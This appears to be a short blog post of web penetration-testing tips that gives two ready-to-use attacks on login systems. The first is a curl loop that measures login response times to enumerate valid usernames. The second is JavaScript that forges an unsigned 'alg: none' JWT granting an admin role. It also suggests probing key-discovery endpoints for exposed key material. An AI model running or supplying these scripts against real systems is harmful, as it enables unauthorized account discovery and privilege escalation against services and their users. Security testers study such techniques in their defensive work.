Timing-Based Username Enumeration
Most modern apps return generic "invalid credentials" messages, but the response time tells a different story.
When bcrypt processes a valid username, it takes ~200ms to hash and compare. Invalid usernames skip this entirely. Measure the difference:
# Quick timing test with curl
for user in admin test ceo fake_user_xyz; do
echo -n "$user: "
curl -s -o /dev/null -w "%{time_total}s" \
-X POST http://target.local/login \
-d "username=$user&password=wrong"
echo
done
Valid accounts consistently show higher response times. Average 5 runs per username to filter noise.
JWT None Algorithm Attack
Some JWT libraries accept "alg": "none" which means no signature verification at all:
// Decode the JWT payload
const [header, payload, sig] = token.split('.');
const newHeader = btoa(JSON.stringify({"alg":"none","typ":"JWT"}));
const newPayload = btoa(JSON.stringify({
...JSON.parse(atob(payload)),
role: "admin"
}));
const forged = `${newHeader}.${newPayload}.`;
// Note the trailing dot -- empty signature
Test this before anything else. It's trivial to exploit and I still find it in production.
Tip: Always check /jwks.json and /.well-known/openid-configuration for exposed key material.
Top comments (0)